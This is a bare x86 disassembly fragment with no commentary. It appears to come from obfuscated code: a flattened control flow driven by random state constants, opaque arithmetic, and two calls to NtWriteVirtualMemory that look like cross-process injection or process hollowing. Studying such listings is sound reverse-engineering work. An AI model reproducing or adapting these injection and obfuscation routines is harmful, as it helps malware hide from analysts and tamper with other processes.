mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub edx, eax
mov eax, dword [ebp - 0x120]
mov esi, dword [eax]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x138], 0xca3f7cb7
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xacaaa4ef
jmp 0x1000f8ce
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x138], 0x74e5af2b
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xc5e825
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xaab4d85f
jmp 0x1000f8ce
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
add ecx, 0x92b038f0
add ecx, 8
sub ecx, 0x92b038f0
mov eax, dword [ebp - 0x120]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x138], 0x2700c295
jmp 0x1000f8ce
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0xc533f06d
jmp 0x1000f8ce
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x138], 0xd3d7ecb6
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x76baf6b7
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xe8cc3706
jmp 0x1000f8ce
jmp 0x10008607